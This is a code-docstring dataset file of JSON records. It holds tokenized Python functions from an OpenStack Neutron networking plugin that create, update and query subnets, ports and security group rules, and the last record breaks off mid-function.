{"signature": "def get_scalingips(context, filters=None, fields=None, sorts=['<STR_LIT:id>'],<EOL>limit=None, marker=None, page_reverse=False):", "body": "LOG.info('<STR_LIT>' %<EOL>(context.tenant_id, filters, fields))<EOL>scaling_ips = _get_ips_by_type(context, ip_types.SCALING,<EOL>filters=filters, fields=fields)<EOL>return [v._make_scaling_ip_dict(scip) for scip in scaling_ips]<EOL>", "docstring": "Retrieve a list of scaling ips.\n\n    :param context: neutron api request context.\n    :param filters: a dictionary with keys that are valid keys for\n        a scaling ip as listed in the RESOURCE_ATTRIBUTE_MAP object\n        in neutron/api/v2/attributes.py.  Values in this dictionary\n        are an iterable containing values that will be used for an exact\n        match comparison for that value.  Each result returned by this\n        function will have matched one of the values for each key in\n        filters.\n    :param fields: a list of strings that are valid keys in a\n        scaling IP dictionary as listed in the RESOURCE_ATTRIBUTE_MAP\n        object in neutron/api/v2/attributes.py. Only these fields\n        will be returned.\n\n    :returns: List of scaling IPs that are accessible to the tenant who\n        submits the request (as indicated by the tenant id of the context)\n        as well as any filters.", "id": "f10753:m20"}
{"signature": "def _validate_subnet_cidr(context, network_id, new_subnet_cidr):", "body": "if neutron_cfg.cfg.CONF.allow_overlapping_ips:<EOL><INDENT>return<EOL><DEDENT>try:<EOL><INDENT>new_subnet_ipset = netaddr.IPSet([new_subnet_cidr])<EOL><DEDENT>except TypeError:<EOL><INDENT>LOG.exception(\"<STR_LIT>\" % new_subnet_cidr)<EOL>raise n_exc.BadRequest(resource=\"<STR_LIT>\",<EOL>msg=\"<STR_LIT>\")<EOL><DEDENT>filters = {<EOL>'<STR_LIT>': network_id,<EOL>'<STR_LIT>': [False]<EOL>}<EOL>subnet_list = db_api.subnet_find(context=context.elevated(), **filters)<EOL>for subnet in subnet_list:<EOL><INDENT>if (netaddr.IPSet([subnet.cidr]) & new_subnet_ipset):<EOL><INDENT>err_msg = (_(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\") %<EOL>{'<STR_LIT>': new_subnet_cidr,<EOL>'<STR_LIT>': network_id})<EOL>LOG.error(_(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"),<EOL>{'<STR_LIT>': new_subnet_cidr,<EOL>'<STR_LIT>': subnet.id,<EOL>'<STR_LIT>': subnet.cidr})<EOL>raise n_exc.InvalidInput(error_message=err_msg)<EOL><DEDENT><DEDENT>", "docstring": "Validate the CIDR for a subnet.\n\n    Verifies the specified CIDR does not overlap with the ones defined\n    for the other subnets specified for this network, or with any other\n    CIDR if overlapping IPs are disabled.", "id": "f10754:m0"}
{"signature": "def create_subnet(context, subnet):", "body": "LOG.info(\"<STR_LIT>\" % context.tenant_id)<EOL>net_id = subnet[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>with context.session.begin():<EOL><INDENT>net = db_api.network_find(context=context, limit=None, sorts=['<STR_LIT:id>'],<EOL>marker=None, page_reverse=False, fields=None,<EOL>id=net_id, scope=db_api.ONE)<EOL>if not net:<EOL><INDENT>raise n_exc.NetworkNotFound(net_id=net_id)<EOL><DEDENT>sub_attrs = subnet[\"<STR_LIT>\"]<EOL>always_pop = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\"]<EOL>admin_only = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\"]<EOL>utils.filter_body(context, sub_attrs, admin_only, always_pop)<EOL>_validate_subnet_cidr(context, net_id, sub_attrs[\"<STR_LIT>\"])<EOL>cidr = netaddr.IPNetwork(sub_attrs[\"<STR_LIT>\"])<EOL>err_vals = {'<STR_LIT>': sub_attrs[\"<STR_LIT>\"], '<STR_LIT>': net_id}<EOL>err = _(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>if cidr.version == <NUM_LIT:6> and cidr.prefixlen > <NUM_LIT:64>:<EOL><INDENT>err_vals[\"<STR_LIT>\"] = <NUM_LIT><EOL>err_msg = err % err_vals<EOL>raise n_exc.InvalidInput(error_message=err_msg)<EOL><DEDENT>elif cidr.version == <NUM_LIT:4> and cidr.prefixlen > <NUM_LIT:30>:<EOL><INDENT>err_vals[\"<STR_LIT>\"] = <NUM_LIT><EOL>err_msg = err % err_vals<EOL>raise n_exc.InvalidInput(error_message=err_msg)<EOL><DEDENT>net_subnets = get_subnets(context,<EOL>filters=dict(network_id=net_id))<EOL>if not context.is_admin:<EOL><INDENT>v4_count, v6_count = <NUM_LIT:0>, <NUM_LIT:0><EOL>for subnet in net_subnets:<EOL><INDENT>if netaddr.IPNetwork(subnet['<STR_LIT>']).version == <NUM_LIT:6>:<EOL><INDENT>v6_count += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>v4_count += <NUM_LIT:1><EOL><DEDENT><DEDENT>if cidr.version == <NUM_LIT:6>:<EOL><INDENT>tenant_quota_v6 = context.session.query(qdv.Quota).filter_by(<EOL>tenant_id=context.tenant_id,<EOL>resource='<STR_LIT>').first()<EOL>if tenant_quota_v6 != -<NUM_LIT:1>:<EOL><INDENT>quota.QUOTAS.limit_check(<EOL>context, context.tenant_id,<EOL>v6_subnets_per_network=v6_count + <NUM_LIT:1>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>tenant_quota_v4 = context.session.query(qdv.Quota).filter_by(<EOL>tenant_id=context.tenant_id,<EOL>resource='<STR_LIT>').first()<EOL>if tenant_quota_v4 != -<NUM_LIT:1>:<EOL><INDENT>quota.QUOTAS.limit_check(<EOL>context, context.tenant_id,<EOL>v4_subnets_per_network=v4_count + <NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>gateway_ip = utils.pop_param(sub_attrs, \"<STR_LIT>\")<EOL>dns_ips = utils.pop_param(sub_attrs, \"<STR_LIT>\", [])<EOL>host_routes = utils.pop_param(sub_attrs, \"<STR_LIT>\", [])<EOL>allocation_pools = utils.pop_param(sub_attrs, \"<STR_LIT>\", None)<EOL>sub_attrs[\"<STR_LIT>\"] = net<EOL>new_subnet = db_api.subnet_create(context, **sub_attrs)<EOL>cidrs = []<EOL>alloc_pools = allocation_pool.AllocationPools(sub_attrs[\"<STR_LIT>\"],<EOL>allocation_pools)<EOL>if isinstance(allocation_pools, list):<EOL><INDENT>cidrs = alloc_pools.get_policy_cidrs()<EOL><DEDENT>quota.QUOTAS.limit_check(<EOL>context,<EOL>context.tenant_id,<EOL>alloc_pools_per_subnet=len(alloc_pools))<EOL>ip_policies.ensure_default_policy(cidrs, [new_subnet])<EOL>new_subnet[\"<STR_LIT>\"] = db_api.ip_policy_create(context,<EOL>exclude=cidrs)<EOL>quota.QUOTAS.limit_check(context, context.tenant_id,<EOL>routes_per_subnet=len(host_routes))<EOL>default_route = None<EOL>for route in host_routes:<EOL><INDENT>netaddr_route = netaddr.IPNetwork(route[\"<STR_LIT>\"])<EOL>if netaddr_route.value == routes.DEFAULT_ROUTE.value:<EOL><INDENT>if default_route:<EOL><INDENT>raise q_exc.DuplicateRouteConflict(<EOL>subnet_id=new_subnet[\"<STR_LIT:id>\"])<EOL><DEDENT>default_route = route<EOL>gateway_ip = default_route[\"<STR_LIT>\"]<EOL>alloc_pools.validate_gateway_excluded(gateway_ip)<EOL><DEDENT>new_subnet[\"<STR_LIT>\"].append(db_api.route_create(<EOL>context, cidr=route[\"<STR_LIT>\"], gateway=route[\"<STR_LIT>\"]))<EOL><DEDENT>quota.QUOTAS.limit_check(context, context.tenant_id,<EOL>dns_nameservers_per_subnet=len(dns_ips))<EOL>for dns_ip in dns_ips:<EOL><INDENT>new_subnet[\"<STR_LIT>\"].append(db_api.dns_create(<EOL>context, ip=netaddr.IPAddress(dns_ip)))<EOL><DEDENT>if gateway_ip and default_route is None:<EOL><INDENT>alloc_pools.validate_gateway_excluded(gateway_ip)<EOL>new_subnet[\"<STR_LIT>\"].append(db_api.route_create(<EOL>context, cidr=str(routes.DEFAULT_ROUTE), gateway=gateway_ip))<EOL><DEDENT><DEDENT>subnet_dict = v._make_subnet_dict(new_subnet)<EOL>subnet_dict[\"<STR_LIT>\"] = gateway_ip<EOL>return subnet_dict<EOL>", "docstring": "Create a subnet.\n\n    Create a subnet which represents a range of IP addresses\n    that can be allocated to devices\n\n    : param context: neutron api request context\n    : param subnet: dictionary describing the subnet, with keys\n        as listed in the RESOURCE_ATTRIBUTE_MAP object in\n        neutron/api/v2/attributes.py.  All keys will be populated.", "id": "f10754:m1"}
{"signature": "def update_subnet(context, id, subnet):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(id, context.tenant_id))<EOL>with context.session.begin():<EOL><INDENT>subnet_db = db_api.subnet_find(context=context, limit=None,<EOL>page_reverse=False, sorts=['<STR_LIT:id>'],<EOL>marker_obj=None, fields=None,<EOL>id=id, scope=db_api.ONE)<EOL>if not subnet_db:<EOL><INDENT>raise n_exc.SubnetNotFound(subnet_id=id)<EOL><DEDENT>s = subnet[\"<STR_LIT>\"]<EOL>always_pop = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\"]<EOL>admin_only = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\"]<EOL>utils.filter_body(context, s, admin_only, always_pop)<EOL>dns_ips = utils.pop_param(s, \"<STR_LIT>\", [])<EOL>host_routes = utils.pop_param(s, \"<STR_LIT>\", [])<EOL>gateway_ip = utils.pop_param(s, \"<STR_LIT>\", None)<EOL>allocation_pools = utils.pop_param(s, \"<STR_LIT>\", None)<EOL>if not CONF.QUARK.allow_allocation_pool_update:<EOL><INDENT>if allocation_pools:<EOL><INDENT>raise n_exc.BadRequest(<EOL>resource=\"<STR_LIT>\",<EOL>msg=\"<STR_LIT>\")<EOL><DEDENT>if subnet_db[\"<STR_LIT>\"] is not None:<EOL><INDENT>ip_policy_cidrs = subnet_db[\"<STR_LIT>\"].get_cidrs_ip_set()<EOL><DEDENT>else:<EOL><INDENT>ip_policy_cidrs = netaddr.IPSet([])<EOL><DEDENT>alloc_pools = allocation_pool.AllocationPools(<EOL>subnet_db[\"<STR_LIT>\"],<EOL>policies=ip_policy_cidrs)<EOL><DEDENT>else:<EOL><INDENT>alloc_pools = allocation_pool.AllocationPools(subnet_db[\"<STR_LIT>\"],<EOL>allocation_pools)<EOL>original_pools = subnet_db.allocation_pools<EOL>ori_pools = allocation_pool.AllocationPools(subnet_db[\"<STR_LIT>\"],<EOL>original_pools)<EOL>is_growing = _pool_is_growing(ori_pools, alloc_pools)<EOL>if not CONF.QUARK.allow_allocation_pool_growth and is_growing:<EOL><INDENT>raise n_exc.BadRequest(<EOL>resource=\"<STR_LIT>\",<EOL>msg=\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>quota.QUOTAS.limit_check(<EOL>context,<EOL>context.tenant_id,<EOL>alloc_pools_per_subnet=len(alloc_pools))<EOL>if gateway_ip:<EOL><INDENT>alloc_pools.validate_gateway_excluded(gateway_ip)<EOL>default_route = None<EOL>for route in host_routes:<EOL><INDENT>netaddr_route = netaddr.IPNetwork(route[\"<STR_LIT>\"])<EOL>if netaddr_route.value == routes.DEFAULT_ROUTE.value:<EOL><INDENT>default_route = route<EOL>break<EOL><DEDENT><DEDENT>if default_route is None:<EOL><INDENT>route_model = db_api.route_find(<EOL>context, cidr=str(routes.DEFAULT_ROUTE), subnet_id=id,<EOL>scope=db_api.ONE)<EOL>if route_model:<EOL><INDENT>db_api.route_update(context, route_model,<EOL>gateway=gateway_ip)<EOL><DEDENT>else:<EOL><INDENT>db_api.route_create(context,<EOL>cidr=str(routes.DEFAULT_ROUTE),<EOL>gateway=gateway_ip, subnet_id=id)<EOL><DEDENT><DEDENT><DEDENT>if dns_ips:<EOL><INDENT>subnet_db[\"<STR_LIT>\"] = []<EOL>quota.QUOTAS.limit_check(context, context.tenant_id,<EOL>dns_nameservers_per_subnet=len(dns_ips))<EOL><DEDENT>for dns_ip in dns_ips:<EOL><INDENT>subnet_db[\"<STR_LIT>\"].append(db_api.dns_create(<EOL>context,<EOL>ip=netaddr.IPAddress(dns_ip)))<EOL><DEDENT>if host_routes:<EOL><INDENT>subnet_db[\"<STR_LIT>\"] = []<EOL>quota.QUOTAS.limit_check(context, context.tenant_id,<EOL>routes_per_subnet=len(host_routes))<EOL><DEDENT>for route in host_routes:<EOL><INDENT>subnet_db[\"<STR_LIT>\"].append(db_api.route_create(<EOL>context, cidr=route[\"<STR_LIT>\"], gateway=route[\"<STR_LIT>\"]))<EOL><DEDENT>if CONF.QUARK.allow_allocation_pool_update:<EOL><INDENT>if isinstance(allocation_pools, list):<EOL><INDENT>cidrs = alloc_pools.get_policy_cidrs()<EOL>ip_policies.ensure_default_policy(cidrs, [subnet_db])<EOL>subnet_db[\"<STR_LIT>\"] = db_api.ip_policy_update(<EOL>context, subnet_db[\"<STR_LIT>\"], exclude=cidrs)<EOL>db_api.subnet_update_set_alloc_pool_cache(context, subnet_db)<EOL><DEDENT><DEDENT>subnet = db_api.subnet_update(context, subnet_db, **s)<EOL><DEDENT>return v._make_subnet_dict(subnet)<EOL>", "docstring": "Update values of a subnet.\n\n    : param context: neutron api request context\n    : param id: UUID representing the subnet to update.\n    : param subnet: dictionary with keys indicating fields to update.\n        valid keys are those that have a value of True for 'allow_put'\n        as listed in the RESOURCE_ATTRIBUTE_MAP object in\n        neutron/api/v2/attributes.py.", "id": "f10754:m3"}
{"signature": "def get_subnet(context, id, fields=None):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(id, context.tenant_id, fields))<EOL>subnet = db_api.subnet_find(context=context, limit=None,<EOL>page_reverse=False, sorts=['<STR_LIT:id>'],<EOL>marker_obj=None, fields=None, id=id,<EOL>join_dns=True, join_routes=True,<EOL>scope=db_api.ONE)<EOL>if not subnet:<EOL><INDENT>raise n_exc.SubnetNotFound(subnet_id=id)<EOL><DEDENT>cache = subnet.get(\"<STR_LIT>\")<EOL>if not cache:<EOL><INDENT>new_cache = subnet.allocation_pools<EOL>db_api.subnet_update_set_alloc_pool_cache(context, subnet, new_cache)<EOL><DEDENT>return v._make_subnet_dict(subnet)<EOL>", "docstring": "Retrieve a subnet.\n\n    : param context: neutron api request context\n    : param id: UUID representing the subnet to fetch.\n    : param fields: a list of strings that are valid keys in a\n        subnet dictionary as listed in the RESOURCE_ATTRIBUTE_MAP\n        object in neutron/api/v2/attributes.py. Only these fields\n        will be returned.", "id": "f10754:m4"}
{"signature": "def get_subnets(context, limit=None, page_reverse=False, sorts=['<STR_LIT:id>'],<EOL>marker=None, filters=None, fields=None):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(context.tenant_id, filters, fields))<EOL>filters = filters or {}<EOL>subnets = db_api.subnet_find(context, limit=limit,<EOL>page_reverse=page_reverse, sorts=sorts,<EOL>marker_obj=marker, join_dns=True,<EOL>join_routes=True, join_pool=True, **filters)<EOL>for subnet in subnets:<EOL><INDENT>cache = subnet.get(\"<STR_LIT>\")<EOL>if not cache:<EOL><INDENT>db_api.subnet_update_set_alloc_pool_cache(<EOL>context, subnet, subnet.allocation_pools)<EOL><DEDENT><DEDENT>return v._make_subnets_list(subnets, fields=fields)<EOL>", "docstring": "Retrieve a list of subnets.\n\n    The contents of the list depends on the identity of the user\n    making the request (as indicated by the context) as well as any\n    filters.\n    : param context: neutron api request context\n    : param filters: a dictionary with keys that are valid keys for\n        a subnet as listed in the RESOURCE_ATTRIBUTE_MAP object\n        in neutron/api/v2/attributes.py.  Values in this dictiontary\n        are an iterable containing values that will be used for an exact\n        match comparison for that value.  Each result returned by this\n        function will have matched one of the values for each key in\n        filters.\n    : param fields: a list of strings that are valid keys in a\n        subnet dictionary as listed in the RESOURCE_ATTRIBUTE_MAP\n        object in neutron/api/v2/attributes.py. Only these fields\n        will be returned.", "id": "f10754:m5"}
{"signature": "def get_subnets_count(context, filters=None):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(context.tenant_id, filters))<EOL>return db_api.subnet_count_all(context, **filters)<EOL>", "docstring": "Return the number of subnets.\n\n    The result depends on the identity of the user making the request\n    (as indicated by the context) as well as any filters.\n    : param context: neutron api request context\n    : param filters: a dictionary with keys that are valid keys for\n        a network as listed in the RESOURCE_ATTRIBUTE_MAP object\n        in neutron/api/v2/attributes.py.  Values in this dictiontary\n        are an iterable containing values that will be used for an exact\n        match comparison for that value.  Each result returned by this\n        function will have matched one of the values for each key in\n        filters.\n\n    NOTE: this method is optional, as it was not part of the originally\n          defined plugin API.", "id": "f10754:m6"}
{"signature": "def delete_subnet(context, id):", "body": "LOG.info(\"<STR_LIT>\" % (id, context.tenant_id))<EOL>with context.session.begin():<EOL><INDENT>subnet = db_api.subnet_find(context, id=id, scope=db_api.ONE)<EOL>if not subnet:<EOL><INDENT>raise n_exc.SubnetNotFound(subnet_id=id)<EOL><DEDENT>if not context.is_admin:<EOL><INDENT>if STRATEGY.is_provider_network(subnet.network_id):<EOL><INDENT>if subnet.tenant_id == context.tenant_id:<EOL><INDENT>raise n_exc.NotAuthorized(subnet_id=id)<EOL><DEDENT>else:<EOL><INDENT>raise n_exc.SubnetNotFound(subnet_id=id)<EOL><DEDENT><DEDENT><DEDENT>_delete_subnet(context, subnet)<EOL><DEDENT>", "docstring": "Delete a subnet.\n\n    : param context: neutron api request context\n    : param id: UUID representing the subnet to delete.", "id": "f10754:m8"}
{"signature": "def _filter_update_security_group_rule(rule):", "body": "allowed = ['<STR_LIT>', '<STR_LIT>']<EOL>filtered = {}<EOL>for k, val in rule.iteritems():<EOL><INDENT>if k in allowed:<EOL><INDENT>if isinstance(val, basestring) andlen(val) <= GROUP_NAME_MAX_LENGTH:<EOL><INDENT>filtered[k] = val<EOL><DEDENT><DEDENT><DEDENT>return filtered<EOL>", "docstring": "Only two fields are allowed for modification:\n\n        external_service and external_service_id", "id": "f10756:m1"}
{"signature": "@env.has_capability(env.Capabilities.SG_UPDATE_ASYNC)<EOL>def _perform_async_update_rule(context, id, db_sg_group, rule_id, action):", "body": "rpc_reply = None<EOL>sg_rpc = sg_rpc_api.QuarkSGAsyncProcessClient()<EOL>ports = db_api.sg_gather_associated_ports(context, db_sg_group)<EOL>if len(ports) > <NUM_LIT:0>:<EOL><INDENT>rpc_reply = sg_rpc.start_update(context, id, rule_id, action)<EOL>if rpc_reply:<EOL><INDENT>job_id = rpc_reply['<STR_LIT>']<EOL>job_api.add_job_to_context(context, job_id)<EOL><DEDENT>else:<EOL><INDENT>LOG.error(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Updates a SG rule async and return the job information.\n\n    Only happens if the security group has associated ports. If the async\n    connection fails the update continues (legacy mode).", "id": "f10756:m8"}
{"signature": "def create_security_group_rule(context, security_group_rule):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(context.tenant_id))<EOL>with context.session.begin():<EOL><INDENT>rule = _validate_security_group_rule(<EOL>context, security_group_rule[\"<STR_LIT>\"])<EOL>rule[\"<STR_LIT:id>\"] = uuidutils.generate_uuid()<EOL>group_id = rule[\"<STR_LIT>\"]<EOL>group = db_api.security_group_find(context, id=group_id,<EOL>scope=db_api.ONE)<EOL>if not group:<EOL><INDENT>raise sg_ext.SecurityGroupNotFound(id=group_id)<EOL><DEDENT>quota.QUOTAS.limit_check(<EOL>context, context.tenant_id,<EOL>security_rules_per_group=len(group.get(\"<STR_LIT>\", [])) + <NUM_LIT:1>)<EOL>new_rule = db_api.security_group_rule_create(context, **rule)<EOL><DEDENT>if group:<EOL><INDENT>_perform_async_update_rule(context, group_id, group, new_rule.id,<EOL>RULE_CREATE)<EOL><DEDENT>return v._make_security_group_rule_dict(new_rule)<EOL>", "docstring": "Creates a rule and updates the ports (async) if enabled.", "id": "f10756:m9"}
{"signature": "def update_security_group_rule(context, id, security_group_rule):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(context.tenant_id))<EOL>new_rule = security_group_rule[\"<STR_LIT>\"]<EOL>new_rule = _filter_update_security_group_rule(new_rule)<EOL>with context.session.begin():<EOL><INDENT>rule = db_api.security_group_rule_find(context, id=id,<EOL>scope=db_api.ONE)<EOL>if not rule:<EOL><INDENT>raise sg_ext.SecurityGroupRuleNotFound(id=id)<EOL><DEDENT>db_rule = db_api.security_group_rule_update(context, rule, **new_rule)<EOL>group_id = db_rule.group_id<EOL>group = db_api.security_group_find(context, id=group_id,<EOL>scope=db_api.ONE)<EOL>if not group:<EOL><INDENT>raise sg_ext.SecurityGroupNotFound(id=group_id)<EOL><DEDENT><DEDENT>if group:<EOL><INDENT>_perform_async_update_rule(context, group_id, group, rule.id,<EOL>RULE_UPDATE)<EOL><DEDENT>return v._make_security_group_rule_dict(db_rule)<EOL>", "docstring": "Updates a rule and updates the ports", "id": "f10756:m10"}
{"signature": "def delete_security_group_rule(context, id):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(id, context.tenant_id))<EOL>with context.session.begin():<EOL><INDENT>rule = db_api.security_group_rule_find(context, id=id,<EOL>scope=db_api.ONE)<EOL>if not rule:<EOL><INDENT>raise sg_ext.SecurityGroupRuleNotFound(id=id)<EOL><DEDENT>group = db_api.security_group_find(context, id=rule[\"<STR_LIT>\"],<EOL>scope=db_api.ONE)<EOL>if not group:<EOL><INDENT>raise sg_ext.SecurityGroupNotFound(id=id)<EOL><DEDENT>rule[\"<STR_LIT:id>\"] = id<EOL>db_api.security_group_rule_delete(context, rule)<EOL><DEDENT>if group:<EOL><INDENT>_perform_async_update_rule(context, group.id, group, id, RULE_DELETE)<EOL><DEDENT>", "docstring": "Deletes a rule and updates the ports (async) if enabled.", "id": "f10756:m12"}
{"signature": "@utils.exc_wrapper(internal=True)<EOL>def create_port(context, port):", "body": "LOG.info(\"<STR_LIT>\" % context.tenant_id)<EOL>port_attrs = port[\"<STR_LIT:port>\"]<EOL>admin_only = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\"]<EOL>utils.filter_body(context, port_attrs, admin_only=admin_only)<EOL>port_attrs = port[\"<STR_LIT:port>\"]<EOL>mac_address = utils.pop_param(port_attrs, \"<STR_LIT>\", None)<EOL>use_forbidden_mac_range = utils.pop_param(port_attrs,<EOL>\"<STR_LIT>\", False)<EOL>segment_id = utils.pop_param(port_attrs, \"<STR_LIT>\")<EOL>fixed_ips = utils.pop_param(port_attrs, \"<STR_LIT>\")<EOL>if \"<STR_LIT>\" not in port_attrs:<EOL><INDENT>port_attrs['<STR_LIT>'] = \"<STR_LIT>\"<EOL><DEDENT>device_id = port_attrs['<STR_LIT>']<EOL>if \"<STR_LIT>\" not in port_attrs:<EOL><INDENT>port_attrs['<STR_LIT>'] = \"<STR_LIT>\"<EOL><DEDENT>instance_node_id = port_attrs['<STR_LIT>']<EOL>net_id = port_attrs[\"<STR_LIT>\"]<EOL>port_id = uuidutils.generate_uuid()<EOL>net = db_api.network_find(context=context, limit=None, sorts=['<STR_LIT:id>'],<EOL>marker=None, page_reverse=False, fields=None,<EOL>id=net_id, scope=db_api.ONE)<EOL>if not net:<EOL><INDENT>raise n_exc.NetworkNotFound(net_id=net_id)<EOL><DEDENT>_raise_if_unauthorized(context, net)<EOL>if device_id:<EOL><INDENT>existing_ports = db_api.port_find(context,<EOL>network_id=net_id,<EOL>device_id=device_id,<EOL>scope=db_api.ONE)<EOL>if existing_ports:<EOL><INDENT>raise n_exc.BadRequest(<EOL>resource=\"<STR_LIT:port>\", msg=\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if fixed_ips:<EOL><INDENT>quota.QUOTAS.limit_check(context, context.tenant_id,<EOL>fixed_ips_per_port=len(fixed_ips))<EOL><DEDENT>if not STRATEGY.is_provider_network(net_id):<EOL><INDENT>segment_id = None<EOL>port_count = db_api.port_count_all(context, network_id=[net_id],<EOL>tenant_id=[context.tenant_id])<EOL>quota.QUOTAS.limit_check(<EOL>context, context.tenant_id,<EOL>ports_per_network=port_count + <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>if not segment_id:<EOL><INDENT>raise q_exc.AmbiguousNetworkId(net_id=net_id)<EOL><DEDENT><DEDENT>network_plugin = utils.pop_param(port_attrs, \"<STR_LIT>\")<EOL>if not network_plugin:<EOL><INDENT>network_plugin = net[\"<STR_LIT>\"]<EOL><DEDENT>port_attrs[\"<STR_LIT>\"] = network_plugin<EOL>ipam_driver = _get_ipam_driver(net, port=port_attrs)<EOL>net_driver = _get_net_driver(net, port=port_attrs)<EOL>base_net_driver = _get_net_driver(net)<EOL>security_groups = utils.pop_param(port_attrs, \"<STR_LIT>\")<EOL>if security_groups is not None:<EOL><INDENT>raise q_exc.SecurityGroupsNotImplemented()<EOL><DEDENT>group_ids, security_groups = _make_security_group_list(context,<EOL>security_groups)<EOL>quota.QUOTAS.limit_check(context, context.tenant_id,<EOL>security_groups_per_port=len(group_ids))<EOL>addresses = []<EOL>backend_port = None<EOL>with utils.CommandManager().execute() as cmd_mgr:<EOL><INDENT>@cmd_mgr.do<EOL>def _allocate_ips(fixed_ips, net, port_id, segment_id, mac,<EOL>**kwargs):<EOL><INDENT>if fixed_ips:<EOL><INDENT>if (STRATEGY.is_provider_network(net_id) and<EOL>not context.is_admin):<EOL><INDENT>raise n_exc.NotAuthorized()<EOL><DEDENT>ips, subnets = split_and_validate_requested_subnets(context,<EOL>net_id,<EOL>segment_id,<EOL>fixed_ips)<EOL>kwargs[\"<STR_LIT>\"] = ips<EOL>kwargs[\"<STR_LIT>\"] = subnets<EOL><DEDENT>ipam_driver.allocate_ip_address(<EOL>context, addresses, net[\"<STR_LIT:id>\"], port_id,<EOL>CONF.QUARK.ipam_reuse_after, segment_id=segment_id,<EOL>mac_address=mac, **kwargs)<EOL><DEDENT>@cmd_mgr.undo<EOL>def _allocate_ips_undo(addr, **kwargs):<EOL><INDENT>LOG.info(\"<STR_LIT>\")<EOL>if addresses:<EOL><INDENT>for address in addresses:<EOL><INDENT>try:<EOL><INDENT>with context.session.begin():<EOL><INDENT>ipam_driver.deallocate_ip_address(context, address,<EOL>**kwargs)<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>LOG.exception(\"<STR_LIT>\" % address)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>@cmd_mgr.do<EOL>def _allocate_mac(net, port_id, mac_address,<EOL>use_forbidden_mac_range=False,<EOL>**kwargs):<EOL><INDENT>mac = ipam_driver.allocate_mac_address(<EOL>context, net[\"<STR_LIT:id>\"], port_id, CONF.QUARK.ipam_reuse_after,<EOL>mac_address=mac_address,<EOL>use_forbidden_mac_range=use_forbidden_mac_range, **kwargs)<EOL>return mac<EOL><DEDENT>@cmd_mgr.undo<EOL>def _allocate_mac_undo(mac, **kwargs):<EOL><INDENT>LOG.info(\"<STR_LIT>\")<EOL>if mac:<EOL><INDENT>try:<EOL><INDENT>with context.session.begin():<EOL><INDENT>ipam_driver.deallocate_mac_address(context,<EOL>mac[\"<STR_LIT:address>\"])<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>LOG.exception(\"<STR_LIT>\" % mac)<EOL><DEDENT><DEDENT><DEDENT>@cmd_mgr.do<EOL>def _allocate_backend_port(mac, addresses, net, port_id, **kwargs):<EOL><INDENT>backend_port = net_driver.create_port(<EOL>context, net[\"<STR_LIT:id>\"],<EOL>port_id=port_id,<EOL>security_groups=group_ids,<EOL>device_id=device_id,<EOL>instance_node_id=instance_node_id,<EOL>mac_address=mac,<EOL>addresses=addresses,<EOL>base_net_driver=base_net_driver)<EOL>_filter_backend_port(backend_port)<EOL>return backend_port<EOL><DEDENT>@cmd_mgr.undo<EOL>def _allocate_back_port_undo(backend_port,<EOL>**kwargs):<EOL><INDENT>LOG.info(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>backend_port_uuid = None<EOL>if backend_port:<EOL><INDENT>backend_port_uuid = backend_port.get(\"<STR_LIT>\")<EOL><DEDENT>net_driver.delete_port(context, backend_port_uuid)<EOL><DEDENT>except Exception:<EOL><INDENT>LOG.exception(<EOL>\"<STR_LIT>\" % backend_port)<EOL><DEDENT><DEDENT>@cmd_mgr.do<EOL>def _allocate_db_port(port_attrs, backend_port, addresses, mac,<EOL>**kwargs):<EOL><INDENT>port_attrs[\"<STR_LIT>\"] = net[\"<STR_LIT:id>\"]<EOL>port_attrs[\"<STR_LIT:id>\"] = port_id<EOL>port_attrs[\"<STR_LIT>\"] = security_groups<EOL>LOG.info(\"<STR_LIT>\" % backend_port)<EOL>port_attrs.update(backend_port)<EOL>with context.session.begin():<EOL><INDENT>new_port = db_api.port_create(<EOL>context, addresses=addresses, mac_address=mac[\"<STR_LIT:address>\"],<EOL>backend_key=backend_port[\"<STR_LIT>\"], **port_attrs)<EOL><DEDENT>return new_port<EOL><DEDENT>@cmd_mgr.undo<EOL>def _allocate_db_port_undo(new_port,<EOL>**kwargs):<EOL><INDENT>LOG.info(\"<STR_LIT>\")<EOL>if not new_port:<EOL><INDENT>return<EOL><DEDENT>try:<EOL><INDENT>with context.session.begin():<EOL><INDENT>db_api.port_delete(context, new_port)<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>LOG.exception(<EOL>\"<STR_LIT>\" % backend_port)<EOL><DEDENT><DEDENT>mac = _allocate_mac(net, port_id, mac_address,<EOL>use_forbidden_mac_range=use_forbidden_mac_range)<EOL>_allocate_ips(fixed_ips, net, port_id, segment_id, mac)<EOL>backend_port = 